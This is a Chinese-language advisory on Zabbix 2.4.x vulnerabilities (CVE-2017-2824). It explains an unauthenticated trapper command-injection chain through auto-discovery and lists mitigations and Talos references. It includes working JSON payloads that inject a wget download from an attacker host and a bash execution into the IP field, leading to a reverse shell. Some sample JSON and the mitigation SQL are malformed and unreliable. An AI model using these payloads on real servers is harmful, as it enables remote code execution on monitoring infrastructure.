
關(guān)于Zabbix
zabbix是一個(gè)基于WEB界面的提供分布式系統(tǒng)監(jiān)視以及網(wǎng)絡(luò)監(jiān)視功能的企業(yè)級(jí)的開源解決方案。
zabbix能監(jiān)視各種網(wǎng)絡(luò)參數(shù),保證服務(wù)器系統(tǒng)的安全運(yùn)營(yíng);并提供靈活的通知機(jī)制以讓系統(tǒng)管理員快速定位/解決存在的各種問題。
漏洞描述
Zabbix Server Active Proxy Trapper 遠(yuǎn)程代碼執(zhí)行漏洞 (CVE-2017-2824)★★★★
Zabbix 2.4.x中的trapper command功能存在一處代碼執(zhí)行漏洞,特定的數(shù)據(jù)包可造成命令注入,進(jìn)而遠(yuǎn)程執(zhí)行代碼,攻擊者可以從一個(gè)Zabbix proxy 發(fā)起請(qǐng)求從而促發(fā)漏洞。
漏洞細(xì)節(jié)
該漏洞位于Zabbix中“Trapper”代碼部分,它的主要功能是允許Proxy和Server進(jìn)行通信的網(wǎng)絡(luò)服務(wù)(TCP端口10051)Zabbix Server提供了一組針對(duì)Zabbix Proxy的API調(diào)用,兩個(gè)將討論的是“discovery data”和“request command”。這些請(qǐng)求的示例數(shù)據(jù)如下所示:
'{"request":"command","scriptid":1,"hostid":10001}'
'{"request":"discovery data","host":"zabbix-proxy.com","clock":10,
"data":[{"clock":10,"drule":1,"dcheck2,"type":0,"ip:10.0.0.1, "dns":"zabbix-agent.com", port":10050,"key":"test","status":0,"value":"test_value"}]}
應(yīng)該注意的是,request命令調(diào)用位于Zabbix數(shù)據(jù)庫(kù)中的腳本,而不進(jìn)行任何身份驗(yàn)證。該漏洞的另一個(gè)關(guān)鍵方面是,默認(rèn)情況下,Zabbix 2.4.X使用腳本以下表中的3個(gè)腳本填充MySQL數(shù)據(jù)庫(kù):
# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1
問題在于,在調(diào)用腳本時(shí),{HOST.CONN}字段實(shí)際上被host的IP地址替換。替換{HOST.CONN}的值位于Zabbixinterface表中,然后保存成VARCHAR(64)類型的“IP”字段。因此,如果攻擊者可以使用命令注入創(chuàng)建接口作為IP地址,并且通過“命令”請(qǐng)求的方式運(yùn)行{HOST.CONN}腳本,則將發(fā)生命令注入,并且可以獲得反向shell。
這個(gè)難題在于有效地將值插入到Zabbixhost表。默認(rèn)情況下,未經(jīng)身份驗(yàn)證的攻擊者無法做到這一點(diǎn),它需要系統(tǒng)管理員的一個(gè)次要配置,特別是關(guān)于Zabbix自動(dòng)發(fā)現(xiàn)功能。
Zabbix自動(dòng)發(fā)現(xiàn)和自動(dòng)注冊(cè)功能允許根據(jù)Zabbix Proxy提供的Zabbix Server數(shù)據(jù)進(jìn)行Zabbix Server的配置。更具體地說,如果主機(jī)根據(jù)服務(wù)器的配置向Zabbix Proxy提供某些特性,則可能會(huì)采取某些操作,其中一個(gè)會(huì)使新發(fā)現(xiàn)的主機(jī)被添加到某些Zabbix數(shù)據(jù)庫(kù)表中。在這種情況下,主機(jī)將被插入到“host”表中,并且將創(chuàng)建一個(gè)入口到Zabbixinterface表中,主機(jī)提供的IP地址插入到IP列中,而不會(huì)對(duì)該IP地址的任何驗(yàn)證。
因此,通過使用合適的主機(jī)向服務(wù)器發(fā)送一個(gè)發(fā)現(xiàn)數(shù)據(jù)請(qǐng)求,可以將命令注入插入到數(shù)據(jù)庫(kù)中:
write_script_cmd='{
"request":"discoverydata",
"host":"zabbix-proxy.domain.fake",
"clock":148535399,
"data":[{
"clock":1485353070,
"drule":88,
"dcheck":174,
"type":0,
"ip":";wget -O/tmp/shttp://attacker-ip/s;#",
"dns":"host28.domain.fake",
"port":10050,
"key":"sectest",
"status":0,
"value":"lnxhost"
}]}'
由于ZabbixInterface表的ip字段的大小限制,第二個(gè)主機(jī)被插入到另一個(gè)IP地址的表中。
// Host 2
ip:/bin/bash /tmp/s;#
在這兩個(gè)主機(jī)被添加之后,仍然有一個(gè)問題,即不知道該hostid的command請(qǐng)求,但是這很容易解決了。暴力請(qǐng)求入數(shù)據(jù)庫(kù),因?yàn)椴煌拿钫?qǐng)求會(huì)返回不同的響應(yīng),確定主機(jī)是否存在,一旦存在的主機(jī)被確定,就可以直接調(diào)用它們,并且可以獲得反向的shell。命令請(qǐng)求如下所示
run_cmd = '{
"request":"command",
"scriptid":1,
"hostid":14666
}'
緩解措施
刪除Zabbix數(shù)據(jù)庫(kù)中的默認(rèn)腳本條目,可以直接操作數(shù)據(jù)庫(kù)刪除 sql 為: use zabbix; delete * from scripts; ,也可使用圖形界面刪除 (Administration->Scripts->Checkmarks->Delete Selected).
Zabbix Proxy 數(shù)據(jù)庫(kù)寫入漏洞(CVE-2017-2824)
Zabbix 2.4.x中的trapper功能存在一處數(shù)據(jù)庫(kù)寫漏洞,特定的惡意trapper數(shù)據(jù)包可通過database 的邏輯檢查,造成數(shù)據(jù)庫(kù)寫入,攻擊者可通過中間人的方式修改zabbix proxy 和 Server間的請(qǐng)求來觸發(fā)漏洞。
影響版本
Zabbix 2.4.7 - 2.4.8r1
參考
http://blog.talosintelligence.com/2017/04/zabbix-multiple-vulns.html
http://www.talosintelligence.com/reports/TALOS-2017-0325/
http://www.talosintelligence.com/reports/TALOS-2017-0326/
https://support.zabbix.com/browse/ZBX-12075
https://support.zabbix.com/browse/ZBX-12076
|